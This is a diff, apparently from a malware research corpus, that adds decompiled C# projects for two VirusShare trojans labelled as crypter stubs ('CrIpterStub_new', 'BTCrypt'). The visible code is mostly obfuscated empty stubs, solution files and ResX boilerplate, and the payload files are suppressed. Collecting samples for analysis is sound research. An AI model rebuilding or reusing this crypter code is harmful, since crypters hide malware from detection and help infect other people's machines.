[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public CmcPEFq8EUo2sAUg3P()
|
||||
{
|
||||
}
|
||||
|
||||
static CmcPEFq8EUo2sAUg3P()
|
||||
{
|
||||
CHskyceuVnH7qeGTX6.b4QmQJlpj6Xkl();
|
||||
GeQKoeh9BTa5jMZgSa.duwLblChk();
|
||||
}
|
||||
}
|
||||
}
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: IpAscgifhxuNqPiEoR.CUme9i4KCMod2luIIH
|
||||
// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E7482193-993A-4E14-A111-60CAB09B5D25
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe
|
||||
|
||||
using System.Runtime.CompilerServices;
|
||||
using w4HscHkVC8kusVwrdY;
|
||||
|
||||
namespace IpAscgifhxuNqPiEoR
|
||||
{
|
||||
internal class CUme9i4KCMod2luIIH
|
||||
{
|
||||
private static bool Eea6MtuWo;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void qq3VZGcpG11Uo()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public CUme9i4KCMod2luIIH()
|
||||
{
|
||||
}
|
||||
|
||||
static CUme9i4KCMod2luIIH() => GeQKoeh9BTa5jMZgSa.duwLblChk();
|
||||
}
|
||||
}
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{8C627D58-A942-43F7-A8DA-EC95965BCDCD}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>CrIpterStub_new</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_003CModule_003E{9221D907-36BD-4778-B9C4-CEB3740A7.cs" />
|
||||
<Compile Include="b4ZCm5KbAknf3O2Ixs\Ll83YO8eqnqhEteIfC.cs" />
|
||||
<Compile Include="bWRCo3Y0Hy2hBomKFB\B9rxMbR0hwfIBnkWev.cs" />
|
||||
<Compile Include="6aUUGEwoy4IPkuhQ9T\rLi63w14TdP7cfZClg.cs" />
|
||||
<Compile Include="qbthIFg217SEo0LKSP\AwZ40wJLUtNiDZwTOG.cs" />
|
||||
<Compile Include="2Enr58LioYwyemMtXQ\CIf5Tfy7x4aAASu1I7.cs" />
|
||||
<Compile Include="aK4dwpMEPpoyCr92ll\CHskyceuVnH7qeGTX6.cs" />
|
||||
<Compile Include="HDguCTSKZp1F5uk7B2\CmcPEFq8EUo2sAUg3P.cs" />
|
||||
<Compile Include="assemblyCompressor\Core\subSystem\PoweredByAssemblyCompressor.cs" />
|
||||
<Compile Include="w4HscHkVC8kusVwrdY\GeQKoeh9BTa5jMZgSa.cs" />
|
||||
<Compile Include="IpAscgifhxuNqPiEoR\CUme9i4KCMod2luIIH.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="39c6269d-3619-4f24-a2af-0d5f263d0098" />
|
||||
<EmbeddedResource Include="49a96fef-e70c-4b40-affa-00d464fb691e" />
|
||||
<EmbeddedResource Include="74c5ecfc-c3a1-442d-a137-d9cf1a7ae167" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CrIpterStub_new", "Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.csproj", "{8C627D58-A942-43F7-A8DA-EC95965BCDCD}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{8C627D58-A942-43F7-A8DA-EC95965BCDCD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8C627D58-A942-43F7-A8DA-EC95965BCDCD}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8C627D58-A942-43F7-A8DA-EC95965BCDCD}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8C627D58-A942-43F7-A8DA-EC95965BCDCD}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: <Module>{9221D907-36BD-4778-B9C4-CEB3740A7B0C}
|
||||
// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E7482193-993A-4E14-A111-60CAB09B5D25
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe
|
||||
|
||||
internal class \u003CModule\u003E\u007B9221D907\u002D36BD\u002D4778\u002DB9C4\u002DCEB3740A7B0C\u007D
|
||||
{
|
||||
}
|
||||
+2424
File diff suppressed because it is too large
Load Diff
+23
@@ -0,0 +1,23 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: assemblyCompressor.Core.subSystem.PoweredByAssemblyCompressor
|
||||
// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E7482193-993A-4E14-A111-60CAB09B5D25
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe
|
||||
|
||||
using System.Runtime.CompilerServices;
|
||||
using w4HscHkVC8kusVwrdY;
|
||||
|
||||
namespace assemblyCompressor.Core.subSystem
|
||||
{
|
||||
public sealed class PoweredByAssemblyCompressor
|
||||
{
|
||||
public const string Website = "http://maximiliankrauss.net";
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public PoweredByAssemblyCompressor()
|
||||
{
|
||||
}
|
||||
|
||||
static PoweredByAssemblyCompressor() => GeQKoeh9BTa5jMZgSa.duwLblChk();
|
||||
}
|
||||
}
|
||||
+84
@@ -0,0 +1,84 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: b4ZCm5KbAknf3O2Ixs.Ll83YO8eqnqhEteIfC
|
||||
// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E7482193-993A-4E14-A111-60CAB09B5D25
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
using w4HscHkVC8kusVwrdY;
|
||||
|
||||
namespace b4ZCm5KbAknf3O2Ixs
|
||||
{
|
||||
internal class Ll83YO8eqnqhEteIfC : Form
|
||||
{
|
||||
private Panel Nr5UBEyhM;
|
||||
private Button AC832ICe1;
|
||||
private Label Wtd0r3S1V;
|
||||
private Panel uJr5ZViT7;
|
||||
private PictureBox AcBxIbfjI;
|
||||
private Label DiMVqfSET;
|
||||
private TextBox blaWKLdIX;
|
||||
private Label \u0030ATpRgOlm;
|
||||
private Panel \u0030gryDiF4E;
|
||||
private Label rI5HST0qG;
|
||||
private BackgroundWorker aG0X6xR77;
|
||||
private Button e914mxjah;
|
||||
private string kPWEWstEh;
|
||||
private bool hZlveCpgJ;
|
||||
private string WAg1hW0Pl;
|
||||
private string ra52a4HMv;
|
||||
private ProgressBar S4QAaB040;
|
||||
private Exception L9Qa3xL7a;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Ll83YO8eqnqhEteIfC([In] Exception obj0, [In] bool obj1, [In] string obj2, [In] string obj3, [In] string obj4)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0038V86rIGjo([In] Control obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void B5PqZKD3x([In] object obj0, [In] RunWorkerCompletedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void GV0SDAE8F([In] object obj0, [In] FormClosingEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void P6Wt3riVR([In] object obj0, [In] PaintEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void duwLblChk()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void osqYU8eYW([In] object obj0, [In] EventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void UUm8PsflX([In] object obj0, [In] DoWorkEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void mZOK7fXCU([In] object obj0, [In] EventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
static Ll83YO8eqnqhEteIfC() => GeQKoeh9BTa5jMZgSa.duwLblChk();
|
||||
}
|
||||
}
|
||||
+45
@@ -0,0 +1,45 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: bWRCo3Y0Hy2hBomKFB.B9rxMbR0hwfIBnkWev
|
||||
// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E7482193-993A-4E14-A111-60CAB09B5D25
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
using w4HscHkVC8kusVwrdY;
|
||||
|
||||
namespace bWRCo3Y0Hy2hBomKFB
|
||||
{
|
||||
internal class B9rxMbR0hwfIBnkWev : Form
|
||||
{
|
||||
private Label P6Wt3riVR;
|
||||
private PictureBox duwLblChk;
|
||||
private Label osqYU8eYW;
|
||||
private Button UUm8PsflX;
|
||||
private Panel mZOK7fXCU;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public B9rxMbR0hwfIBnkWev([In] DateTime obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0038V86rIGjo()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void B5PqZKD3x([In] object obj0, [In] PaintEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void GV0SDAE8F([In] object obj0, [In] EventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
static B9rxMbR0hwfIBnkWev() => GeQKoeh9BTa5jMZgSa.duwLblChk();
|
||||
}
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: qbthIFg217SEo0LKSP.AwZ40wJLUtNiDZwTOG
|
||||
// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E7482193-993A-4E14-A111-60CAB09B5D25
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe
|
||||
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using w4HscHkVC8kusVwrdY;
|
||||
|
||||
namespace qbthIFg217SEo0LKSP
|
||||
{
|
||||
internal static class AwZ40wJLUtNiDZwTOG
|
||||
{
|
||||
private static Dictionary<string, string> GV0SDAE8F;
|
||||
private static Dictionary<string, string> P6Wt3riVR;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private static void \u0038V86rIGjo()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public static string B5PqZKD3x([In] string obj0) => (string) null;
|
||||
|
||||
static AwZ40wJLUtNiDZwTOG() => GeQKoeh9BTa5jMZgSa.duwLblChk();
|
||||
}
|
||||
}
|
||||
+5343
File diff suppressed because it is too large
Load Diff
+10
@@ -0,0 +1,10 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: BTCrypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 05F7BF95-3B6B-4870-9E92-274D6E31A439
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: BTCrypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 05F7BF95-3B6B-4870-9E92-274D6E31A439
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: BTCrypt, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 05F7BF95-3B6B-4870-9E92-274D6E31A439
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{653CDC5E-EA1E-4F3C-B2C9-F8BECFFCF92D}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>BTCrypt</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>My</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="xZhtWpVtLXLJDVSoYj.cs" />
|
||||
<Compile Include="MyApplication.cs" />
|
||||
<Compile Include="MyComputer.cs" />
|
||||
<Compile Include="MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="mdqBj.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BTCrypt", "Trojan.MSIL.Crypt.bkc-5f5560792d58a85ded3a28624027cea39aef9092ad62a5dffd1dafc5b77fbede.csproj", "{653CDC5E-EA1E-4F3C-B2C9-F8BECFFCF92D}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{653CDC5E-EA1E-4F3C-B2C9-F8BECFFCF92D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{653CDC5E-EA1E-4F3C-B2C9-F8BECFFCF92D}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{653CDC5E-EA1E-4F3C-B2C9-F8BECFFCF92D}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{653CDC5E-EA1E-4F3C-B2C9-F8BECFFCF92D}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+464
@@ -0,0 +1,464 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
